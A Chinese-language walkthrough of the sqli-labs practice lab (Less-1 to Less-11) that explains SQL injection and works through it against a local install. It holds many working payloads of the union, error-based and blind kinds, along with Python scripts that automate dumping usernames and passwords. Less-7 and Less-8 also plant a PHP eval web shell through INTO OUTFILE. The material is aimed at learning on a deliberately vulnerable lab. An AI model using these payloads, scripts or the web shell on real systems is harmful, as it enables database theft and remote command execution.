部署
1.安装phpstudy,下载php5.6.9,打开mysql和apache,更换apache版本为php5.6.9;下载sqli-libs,将文件放入phpstudy_pro的WWW目录下。
2.打开文件夹sql-connections下面的db-creds.inc,修改成$dbpass = ‘root’;
3.http://localhost/sqli-labs-master/
前置知识
查库、查表、查列、查字段
查库:select schema_name from information_schema.schemata;
查表:select table_name from information_schema.tables where table_schema='security';
查列:select column_name from information_schema.columns where table_name='users';
查字段:select username,password from security.users;
一些函数
select system_user(); 系统用户
select user(); 用户名
select databases(); 数据库
select version(); 版本信息
select @@datadir; mysql安装路径
select @@version_compile_os; 操作系统
| substr(a,b,c) | 截取a,从b开始,长度为c |
|---|---|
| mid(a,b,c) | 截取a,从b开始,长度为c |
| right(a,b) | 从右侧截取a的前b位 |
| left(a,b) | 从左侧截取a的前b位 |
| regexp | 从左至右进行匹配,如果匹配成功则返回1,匹配失败则返回0 |
| rlike | 从左至右进行匹配,如果匹配成功则返回1,匹配失败则返回0 |
| trim() | TRIM([{BOTH | LEADING | TRAILING} [remstr] FROM str) 表示移除str这个字符串首尾(BOTH)/句首(LEADING)/句尾(TRAILING)的remstr 例子:trim(leading ‘a’ from ‘abcd’)表示移除abcd句首的a,于是会返回bcd |
| if(expr1,expr2,expr3) | 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句 |
less-1
拼接方式:id=’$id’
# 单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
输出查询内容
else:
print_r(mysql_error());
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
select * from users where id=’1’ limit 0,1;
select * from users where id=’100’ union select *from users;– ‘limit 0,1;
相当于直接执行selecet * from users;
select * from users where id=2 union select 2,3,4;
?id=100’ union select 2,3,4–+
select * from users where id=’100’ union select 2,3,4– ‘ LIMIT 0,1
可以利用这个回显得到数据库信息
select * from users where id=100 union select 1,2,schema_name from information_schema.schemata;
select * from users where id=100 union select 1,2,schema_name from information_schema.schemata limit 1,1;
select * from users where id=100 union select 1,2,schema_name from information_schema.schemata limit 2,1;
select * from users where id='100' union select 1,2,schema_name from information_schema.schemata-- ' LIMIT 0,1
?id=100’ union select 1,2,schema_name from information_schema.schemata limit 0,1–
?id=100’ union select 1,2,schema_name from information_schema.schemata limit 1,2– ‘
使用group_concat取出数据库信息
select * from users where id='100' union select 1,2,group_concat(schema_name) from information_schema.schemata;
?id=100' union select 1,2,group_concat(schema_name) from information_schema.schemata--+'
取出security里表信息
select * from users where id='100' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';
?id=100' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查列:
select * from users where id='100' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';
?id=100' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+;
查字段:
select * from users where id='-1' union select 1,2,group_concat(username,password)from security.users;-- 'limit 0,1;
select * from users where id='-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users;-- 'limit 0,1;
?id=100' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users;--+
?id=-1' union select 1,2,(select group_concat(username,password separator 0x3c62723e) from users)--+
GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based.
sqli-labs/mysql-injection.pdf at master · lcamry/sqli-labs · GitHub
less-2
拼接方式:id=$id
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
if true:
输出查询内容
else:
print_r(mysql_error());
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
输入?id=1,实际上执行的是select * from users where id=1 limit 0,1;
1.确定有几列
?id=1 order by n–+ 改变n来确定有几列
2.看哪些可以回显
?id=100 union select 1,2,3--+
3.查库
?id=100 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
4.查表
?id=100 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
5.查列
?id=100 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
6.查字段
?id=100 union select 1,2,group_concat(username,password) from security.users--+
?id=100 union select 1,group_concat(username) ,group_concat(password) from security.users--+
less-3
拼接方式:id=(‘$id’)
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
if true:
输出查询内容
else:
print_r(mysql_error());
$sql=”SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1”;
输入?id=1实际执行的是
select * from users where id=('1') limit 0,1
1.确定有几列
?id=1’) order by n–+ 改变n来确定有几列
?id=1') order by 3--+
2.看哪些可以回显
?id=100') union select 1,2,3--+
3.查库
?id=100') union select 1,2,group_concat(schema_name) from information_schema.schemata--+
4.查表
?id=100') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
5.查列
?id=100') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
6.查字段
?id=100') union select 1,group_concat(username),group_concat(password) from security.users--+
less-4
拼接方式:id=(“$id”)
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
if true:
输出查询内容
else:
print_r(mysql_error());
输入?id=1实际执行的是
select * from users where id=("1") LIMIT 0,1;
1.确定有几列
?id=1’) order by n–+ 改变n来确定有几列
?id=1") order by 3--+
2.看哪些可以回显
?id=100") union select 1,2,3--+
3.查库
?id=100") union select 1,2,group_concat(schema_name) from information_schema.schemata--+
4.查表
?id=100") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
5.查列
?id=100") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
6.查字段
?id=100") union select 1,group_concat(username),group_concat(password) from security.users--+
extractvalue报错注入
报错注入需要输出mysql_error()的报错信息。mysql>5.1.5
基本语法:
extractvalue(目标xml文档,xml路径)
函数的第二个参数是可以进行操作的地方,xml文件中查询使用的是/xx/xx/的格式,如果我们写成其他的格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法格式的内容就是想要查询的内容。
对比:
select extractvalue(1,concat('/',(select database())));
select extractvalue(1,concat(0x5c,(select database())));
利用:
查库:select extractvalue(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),32,31)));
查表:select extractvalue(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31)));
查列:select extractvalue(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31)));
查字段:select extractvalue(1,concat('~',substr((select group_concat(username,",",password) from security.users),1,31)));
updatexml报错注入
报错注入需要输出mysql_error()的报错信息。mysql>5.1.5
updatexml()返回的字符串长度最多为31个字符串 , 因此可以多次截取返回的字符串的不同位置,从而获取所有的数据。
updatexml函数用于在XML类型的字段中进行数据更新。它的基本语法如下:
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会输入的内容是否符合XPATH格式
如果第二个参数路径存在错误,就会以报错的形式显示出内容。如果路径参数中存在函数,那么函数将被执行,将执行结果显示在报错中。
利用:(拼接~用于触发错误)
查库:select updatexml(1,concat('~',database()),3);
查库(1-31):select updatexml(1,concat('~',(select group_concat(schema_name) from information_schema.schemata)),3);
查库(32-63):select updatexml(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),32,31)),3);
查表:select updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31)),3);
查列:select updatexml(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31)),3);
查字段:select updatexml(1,concat('~',substr((select group_concat(username,",",password) from security.users),1,31)),3);
floor报错注入
floor报错注入在MySQL版本8.0中已失效。需要输出mysql_error()的报错信息。
1.rand函数
rand()函数可以生成在0到1之间的随机数。当指定了一个随机数种子参数后,生成的随机数值不变。以security数据库中的users表为例。users表中有13条数据,所以select rand() from users;会出现13条随机数据,当指定seed为一个固定值,如select rand(0) from users;生成的结果不再变化。
2.floor函数
floor函数返回小于等于该值的最大整数,也就是将小数点后的数字全部擦除。
rand函数只会生成0到1之间的随机数,因此select rand(0)*2 from users;会出现大于1小于2的随机数。使用floor进行取整,select floor(rand(0)*2) from users;结果只会出现0到1。
3.count(*)
count(*)在mysql语句中用来计数,GROUP BY 语句根据一个或多个列对结果集进行分组。
执行语句select signin from employee_tbl;
使用count(*)子句对signin数据进行整合select signin,count(*) from employee_tbl group by signin;计算出signin出的次数。即select key,count(*) from employee_tbl group by signin当group by和count(*)一起使用的时候会计算出signin出的次数,当mysql遇到group by语句时,会判断表是否存在,如果不存在会创建一个新的表。key值不能重复,如果有相同则会合并到一起,然后执行查询语句。
4.floor报错注入例子(使用security数据库中的users表)
select (rand(0)*2) from users;
select floor(rand(0)*2) from users;得到固定值0、1、1、0、1、1、0、0、1、1、1、0、1
select count(*) from users group by floor(rand(0)*2);会报错,这里的key值为select floor(rand(0)*2) from users;得到固定值。
select count(*) from users group by floor(rand(0)*2);
首先会建立一个虚拟表
| key floor(rand(0)*2) | count(*) |
|---|---|
floor(rand(0)*2)第一次运算的值为0,在表中没有找到key为0的数据,就进行第二次floor运算,结果为1,取到了1,将之插入,并将count置1
| key floor(rand(0)*2) | count(*) |
|---|---|
| 1 | 1 |
进行第三次运算了,值为1。
| key floor(rand(0)*2) | count(*) |
|---|---|
| 1 | 2 |
第四次floor运算了值为0,在表没有key为0的数据。则会进行第五次计算返回1插入,key为1在虚拟表中已经存在,就会抛出主键冗余的异常,也就是floor报错。
floor(rand(0)*2的作用就是产生预知的数字序列01101,然后再利用 rand()的特殊性和group by的虚拟表,最终引起了报错。
5.利用
查数据库版本:select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a;
当前用户:select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a;
查库:select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a;
查所有库:select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,schema_name,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a;
查表:select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a;
查列:select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a;
查字段:select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a;
这或许是你见到的最全SQL注入教程了! - FreeBuf网络安全行业门户
SQL 注入之一:Mysql 数据库(搞懂这篇就够了) - f_carey - 博客园
布尔盲注
布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值。一般也称为逻辑型。
页面在执行sql语句后,只显示两种结果,这时可通过构造逻辑表达式的sql语句来判断数据的具体内容。
数据库第一个字母为 s
?id=1' and left(database(),1)>'r'--+
?id=1' and left(database(),1)>'s'--+
less-5
拼接方式:id=’$id’
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
输出 You are in...........
else:
print_r(mysql_error());
和第一关一样,但是无回显。运行返回结果正确的时候只返回you are in….,不会返回数据库当中的信息,需要用盲注的思路进行注入
1.floor报错注入
查库:?id=1' and (select 1 from (select count(*),concat(concat((select concat(schema_name) from information_schema.schemata limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)--+
查表:?id=1' and (select 1 from (select count(*),concat(concat((select concat(table_name) from information_schema.tables where table_schema="security" limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)--+
查列:?id=1' and (select 1 from (select count(*),concat(concat((select concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" limit 1,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)--+
查字段:?id=1' and (select 1 from (select count(*),concat(concat((select concat(username,0x7e,password,0x7e) from security.users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)--+
2.extractvalue报错注入
查库:?id=1' and (select extractvalue(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),32,31)))--+
查表:?id=1' and (select extractvalue(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31))))--+
查列:?id=1' and (select extractvalue(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31))))--+
查字段:?id=1' and (select extractvalue(1,concat('~',substr((select group_concat(username,",",password) from security.users),1,31))))--+
3.updatexml报错注入
查库:?id=1' and (select updatexml(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),32,31)),3))--+
查表:?id=1' and (select updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31)),3))--+
查列:?id=1' and (select updatexml(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31)),3))--+
查字段:?id=1' and (select updatexml(1,concat('~',substr((select group_concat(username,",",password) from security.users),1,31)),3))--+
4.布尔盲注
?id=1' and left(database(),1)>'r'--+
?id=1' and left(database(),1)>'s'--+
5.延时盲注
数据库第一个字母的 ascii 码为 115,即 s
?id=1' and if(ascii(substr(database(),1,1))=114,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+
6.用脚本跑
# 导入requests库,用于发送HTTP请求
import requests as req
url = 'http://192.168.0.194/sqli-labs-master/Less-5/'
# 初始化空字符串,用于存储最终破解结果
res = ''
# 要执行的SQL查询语句(获取当前数据库名称)
select = "select group_concat(username,':',password)from security.users"
'''
查库:select group_concat(schema_name) from information_schema.schemata
查表:select group_concat(table_name) from information_schema.tables where table_schema='security'
查列:select group_concat(column_name) from information_schema.columns where table_name='users'
查字段:select group_concat(username,':',password)from security.users
'''
#外层循环:遍历字符位置(1-99)假设数据库名称不超过99个字符,实际可根据情况调整范围/*
for i in range(1, 100):
#内层循环:遍历ASCII可打印字符(32-127),32是空格的ASCII码,127是DELETE字符,涵盖所有可打印字符*/
for ascii in range(32, 128):
'''
构造SQL注入payload
1. substr((select database()), i, 1):截取数据库名称的第i个字符(从1开始计数)
2. ascii():将字符转换为对应的ASCII码值
3. 通过布尔逻辑判断:当字符的ASCII码等于当前测试值时,条件为真
4. %23是URL编码的#号,用于注释掉原始查询语句
'''
id = "?id=1' and ascii(substr(({}),{},1))={}%23".format(select, i, ascii)
r = req.get(url + id)
print(url + id)
if "You are in" in r.text:
res += chr(ascii)
print(f"\r[+] 当前进度: {res.ljust(i)}", end='')
break
if ascii == 127:
print('\n' + res)
exit(0)
print('\n' + res)
less-6
拼接方式:id=”$id”
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
if true:
输出 You are in...........
else:
print_r(mysql_error());
1.floor报错注入
查库:?id=1" and (select 1 from (select count(*),concat(concat((select concat(schema_name) from information_schema.schemata limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)--+
查表:?id=1" and (select 1 from (select count(*),concat(concat((select concat(table_name) from information_schema.tables where table_schema="security" limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)--+
查列:?id=1" and (select 1 from (select count(*),concat(concat((select concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" limit 1,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)--+
查字段:?id=1" and (select 1 from (select count(*),concat(concat((select concat(username,0x7e,password,0x7e) from security.users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)--+
2.extractvalue报错注入
查库:?id=1" and (select extractvalue(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),32,31)))--+
查表:?id=1" and (select extractvalue(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31))))--+
查列:?id=1" and (select extractvalue(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31))))--+
查字段:?id=1" and (select extractvalue(1,concat('~',substr((select group_concat(username,",",password) from security.users),1,31))))--+
3.updatexml报错注入
查库:?id=1" and (select updatexml(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),32,31)),3))--+
查表:?id=1" and (select updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31)),3))--+
查列:?id=1" and (select updatexml(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31)),3))--+
查字段:?id=1" and (select updatexml(1,concat('~',substr((select group_concat(username,",",password) from security.users),1,31)),3))--+
4.布尔盲注
?id=1' and left(database(),1)>'r'--+
?id=1' and left(database(),1)>'s'--+
5.延时盲注
数据库第一个字母的 ascii 码为 115,即 s
?id=1' and if(ascii(substr(database(),1,1))=114,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+
6.用脚本跑
# 导入requests库,用于发送HTTP请求
import requests as req
url = 'http://192.168.70.1/sqli/Less-6/'
# 初始化空字符串,用于存储最终破解结果
res = ''
# 要执行的SQL查询语句(获取当前数据库名称)
select = "select group_concat(username,':',password)from security.users"
'''
查库:select group_concat(schema_name) from information_schema.schemata
查表:select group_concat(table_name) from information_schema.tables where table_schema='security'
查列:select group_concat(column_name) from information_schema.columns where table_name='users'
查字段:select group_concat(username,':',password)from security.users
'''
#外层循环:遍历字符位置(1-99)假设数据库名称不超过99个字符,实际可根据情况调整范围/*
for i in range(1, 100):
#内层循环:遍历ASCII可打印字符(32-127),32是空格的ASCII码,127是DELETE字符,涵盖所有可打印字符*/
for ascii in range(32, 128):
'''
构造SQL注入payload
1. substr((select database()), i, 1):截取数据库名称的第i个字符(从1开始计数)
2. ascii():将字符转换为对应的ASCII码值
3. 通过布尔逻辑判断:当字符的ASCII码等于当前测试值时,条件为真
4. %23是URL编码的#号,用于注释掉原始查询语句
'''
id = "?id=1%22 and ascii(substr(({}),{},1))={}%23".format(select, i, ascii)
r = req.get(url + id)
print(url + id)
if "You are in" in r.text:
res += chr(ascii)
print(f"\r[+] 当前进度: {res.ljust(i)}", end='')
break
if ascii == 127:
print('\n' + res)
exit(0)
print('\n' + res)
less-7
拼接方式:id=((‘$id’))
# 使用单引号加双层括号拼接
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
# 支持布尔盲注、延时盲注
if true:
输出 You are in.... Use outfile......
else:
输出 You have an error in your SQL syntax
//print_r(mysql_error());
?id=1’)) –+
import requests as req
url = 'http://192.168.0.192/sqli-labs-master/Less-7/'
res = ''
select = "select group_concat(username,':',password)from security.users"
'''
查库:select group_concat(schema_name) from information_schema.schemata
查表:select group_concat(table_name) from information_schema.tables where table_schema='security'
查列:select group_concat(column_name) from information_schema.columns where table_name='users'
查字段:select group_concat(username,':',password)from security.users
'''
for i in range(1, 100):
for ascii in range(32, 128):
id = "?id=1')) and ascii(substr(({}),{},1))={}%23".format(select, i, ascii)
r = req.get(url + id)
print(url + id)
if "You are in" in r.text:
res += chr(ascii)
print(f"\r[+] 当前进度: {res.ljust(i)}", end='')
break
if ascii == 127:
print('\n' + res)
exit(0)
print('\n' + res)
show global variables like '%secure%';
可以上传文件
?id=-1')) union select * from security.users into outfile "D:/tools/phpstudy_pro/WWW/sqli-labs-master/Less-7/users.txt"--+
还可以上传一句话木马实现远程任意命令执行
?id=-1')) union select "","",concat('<?php echo "<pre>"; ','@eval($_GET[cmd]);','echo "</pre>"; ?>') into outfile "D:/tools/phpstudy_pro/WWW/sqli-labs-master/Less-7/text.php"--+
less-8
拼接方式:id=’$id’
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
// You are in.... Use outfile......
else:
输出 You have an error in your SQL syntax
//print_r(mysql_error());
import requests as req
url = 'http://192.168.0.192/sqli-labs-master/Less-8/'
res = ''
select = "select group_concat(username,':',password)from security.users"
'''
查库:select group_concat(schema_name) from information_schema.schemata
查表:select group_concat(table_name) from information_schema.tables where table_schema='security'
查列:select group_concat(column_name) from information_schema.columns where table_name='users'
查字段:select group_concat(username,':',password)from security.users
'''
for i in range(1, 100):
for ascii in range(32, 128):
id = "?id=1' and ascii(substr(({}),{},1))={}%23".format(select, i, ascii)
r = req.get(url + id)
print(url + id)
if "You are in" in r.text:
res += chr(ascii)
print(f"\r[+] 当前进度: {res.ljust(i)}", end='')
break
if ascii == 127:
print('\n' + res)
exit(0)
print('\n' + res)
上传文件
?id=-1' union select * from security.users into outfile "D:/tools/phpstudy_pro/WWW/sqli-labs-master/Less-8/users.txt"--+
?id=-1' union select "","",concat('<?php echo "<pre>"; ','@eval($_GET[cmd]);','echo "</pre>"; ?>') into outfile "D:/tools/phpstudy_pro/WWW/sqli-labs-master/Less-8/text.php"--+
时间盲注
if(查询语句,sleep(5),1) 如果查询的语句为假,那么直接输出;如果查询的语句为真,那么过5秒之后输出。
if(length(database())=8,sleep(5),1) 从1开始穷举,到=8的时候延迟5秒输出,所以库名长度为8。
if(ascii(substr(database(),1,1))=115,sleep(5),1) 测得第一位为ASCII编码的115,是字母"s"
if(length(select table_name from information_schema.tables where table_schema = database() limit x,1)<y,sleep(5),1) x代表是第几个表,y代表表名长度是多少
if(length((select table_name from information_schema.tables where table_schema = 'security' limit 0,1))=6,sleep(5),1) security数据库中的第一个表的表名长度
if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) 推测表名
if(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1) 测列名
if(ascii(substr((select username from users limit 0,1), 1,1))=68,sleep(5),1) 测user,password
less-9
拼接方式:id=’$id’
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
输出 You are in.... Use outfile......
else:
输出 You have an error in your SQL syntax
//print_r(mysql_error());
1.查数据库长度:
import requests,time
for i in range(1,16):
url=f"http://192.168.0.192/sqli-labs-master/Less-9/?id=1' and if(length(database())>{i},1,sleep(3))%23"
print(url)
s=time.time()
if requests.get(url,timeout=5).elapsed.total_seconds()>3:
print(f"\n[+] 数据库长度: {i}\n"+"="*50)
break
else:
print("\n[-] 检测失败(1-15字符未找到)\n"+"="*50)
2.查库
import requests, time
db_name = ""
for l in range(1, 20):
url = f"http://192.168.0.192/sqli-labs-master/Less-9/?id=1' and if(length(database())>{l},1,sleep(3))%23"
print(url)
s=time.time()
if requests.get(url,timeout=5).elapsed.total_seconds()>3:
length = l
print(f"\n[+] 数据库长度: {l}\n"+"="*50)
break
else:
length = 15 # 默认值防止检测失败
db_name = ""
for pos in range(1, length + 1):
for asc in range(32, 127):
payload = f"1' and if(ascii(substr(database(),{pos},1))={asc},sleep(3),0) --+"
url = f"http://192.168.0.192/sqli-labs-master/Less-9/?id={payload}"
print(url)
start_time = time.time()
requests.get(url, timeout=5)
elapsed = time.time() - start_time
if elapsed > 3:
db_name += chr(asc)
print(f"\r[+] 找到字符 {pos}/{length}: {chr(asc)} ", end='')
break
print(f"\n\n[+] 数据库名称: {db_name}\n" + "="*50)
3.查表
?id=1’ and if((select count(*) from information_schema.tables where table_schema=database())<=1, sleep(3), 0)–+
?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=33,sleep(3),0)–+
# 获取表数量
table_count = 0
import requests,time
for i in range(1,16):
payload = f"1' and if((select count(*) from information_schema.tables where table_schema=database())<={i}, sleep(3), 0)--+"
url = f"http://192.168.0.192/sqli-labs-master/Less-9/?id={payload}"
print(url)
s=time.time()
if requests.get(url,timeout=5).elapsed.total_seconds()>3:
table_count=i
print(f"\n[+] 发现 {i} 个表")
break
else:
table_count = 5 # 默认值
tables=[]
for t in range(table_count):
n=''
for c in range(1,31):
found=0
for a in range(32,127):
u=f"http://192.168.0.192/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {t},1),{c},1))={a},sleep(3),0)--+"
s=time.time()
requests.get(u,timeout=5)
if time.time()-s>3:
n+=chr(a)
#print(f"当前表名: {n}",end='\r')
found=1
break
if not found:break
tables.append(n)
print(f"\n表名列表: {tables}")
4.查列
import requests,time
# 获取users表列数量
column_count = 0
for i in range(1,16):
payload = f"1' and if((select count(*) from information_schema.columns where table_schema=database() and table_name='users')<={i},sleep(3),0)--+"
url = f"http://192.168.0.192/sqli-labs-master/Less-9/?id={payload}"
print(url)
s=time.time()
if requests.get(url,timeout=5).elapsed.total_seconds()>3:
column_count=i
print(f"\n[+] 发现 {i} 列")
break
# 获取users表列名
columns=[]
for c in range(column_count):
n=''
for pos in range(1,31):
found=0
for asc in range(32,127):
u=f"http://192.168.0.192/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit {c},1),{pos},1))={asc},sleep(3),0)--+"
s=time.time()
requests.get(u,timeout=5)
if time.time()-s>3:
n+=chr(asc)
print(f"当前列名: {n}",end='\r')
found=1
break
if not found:break
columns.append(n)
print(f"\n\n[+] 列名列表: {columns}")
获取所有表的列
import requests, time
# 获取表数量
table_count = 0
for i in range(1, 16):
payload = f"1' and if((select count(*) from information_schema.tables where table_schema=database())<={i}, sleep(3), 0)--+"
url = f"http://192.168.0.192/sqli-labs-master/Less-9/?id={payload}"
print(url)
s = time.time()
if requests.get(url, timeout=5).elapsed.total_seconds() > 3:
table_count = i
break
else:
table_count = 5 # 默认值
# 获取所有表名
tables = []
for t in range(table_count):
n = ''
for c in range(1, 31):
found = 0
for a in range(32, 127):
u = f"http://192.168.0.192/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {t},1),{c},1))={a},sleep(3),0)--+"
print(u)
s = time.time()
requests.get(u, timeout=5)
if time.time() - s > 3:
n += chr(a)
found = 1
break
if not found: break
tables.append(n)
# 遍历所有表查询列信息
for table in tables:
# 获取列数量
column_count = 0
for i in range(1, 16):
payload = f"1' and if((select count(*) from information_schema.columns where table_schema=database() and table_name='{table}')<={i},sleep(3),0)--+"
url = f"http://192.168.0.192/sqli-labs-master/Less-9/?id={payload}"
print(url)
s = time.time()
if requests.get(url, timeout=5).elapsed.total_seconds() > 3:
column_count = i
break
# 获取列名
columns = []
for c in range(column_count):
n = ''
for pos in range(1, 31):
found = 0
for asc in range(32, 127):
u = f"http://192.168.0.192/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='{table}' limit {c},1),{pos},1))={asc},sleep(3),0)--+"
print(u)
s = time.time()
requests.get(u, timeout=5)
if time.time() - s > 3:
n += chr(asc)
found = 1
break
if not found: break
columns.append(n)
# 格式化输出结果
print(f"\n[+] 表名: {table}\n 列名: {', '.join(columns)}")
5.查字段
import requests, time
row_count = 0
for i in range(1, 16):
payload = f"1' and if((select count(*) from users)<={i}, sleep(3), 0)--+"
url = f"http://192.168.0.192/sqli-labs-master/Less-9/?id={payload}"
s = time.time()
if requests.get(url, timeout=5).elapsed.total_seconds() > 3:
row_count = i
break
credentials = ""
for pos in range(1, 100):
found = 0
for asc in range(32, 127):
payload = f"1' and if(ascii(substr((select group_concat(username,':',password) from users),{pos},1))={asc},sleep(3),0)--+"
url = f"http://192.168.0.192/sqli-labs-master/Less-9/?id={payload}"
s = time.time()
requests.get(url, timeout=5)
if time.time() - s > 3:
credentials += chr(asc)
print(f"\r当前数据: {credentials}", end='')
found = 1
break
if not found: break
print("\n\n[+] 用户密码列表:")
for entry in credentials.split('\n'):
if ':' in entry:
print(entry)
less-10
拼接方式:id=”$id”
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
if true:
输出 You are in.... Use outfile......
else:
输出 You have an error in your SQL syntax
//print_r(mysql_error());
方法同less-9,拼接方式从'变为"即可
less-11
拼接方式:username=’x’
# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
# 使用单引号拼接 SQL
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
if true:
输出查询的信息
else:
print_r(mysql_error());
和 Less-1 的利用方式相同,由 GET 型变成 POST 型。
1.联合查询注入
查列:1' order by 3# //有报错信息 有两列
看回显:1' union select 1,2#
查库:1' union select database(),version()#
查表:1' union select database(),group_concat(table_name)from information_schema.tables where table_schema='security'#
查列:1' union select database(),group_concat(column_name)from information_schema.columns where table_schema='security'and table_name='users'#
查字段:1' union select database(),group_concat(username,'~',password)from users#
2.updatexml报错注入
查库:1' and updatexml(1,concat(version(),database()),1)#
查表:1' and updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31)),3)#
查列:1' and updatexml(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31)),3)#
查字段:1' and updatexml(1,concat('~',substr((select group_concat(username,",",password) from security.users),1,31)),3)#
3.extractvalue报错注入
查库:1' and extractvalue(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),1,31)))#
查表:1' and extractvalue(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31)))#
查列:1' and extractvalue(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31)))#
查字段:1' and extractvalue(1,concat('~',substr((select group_concat(username,",",password) from security.users),1,31)))#
4.floor报错注入
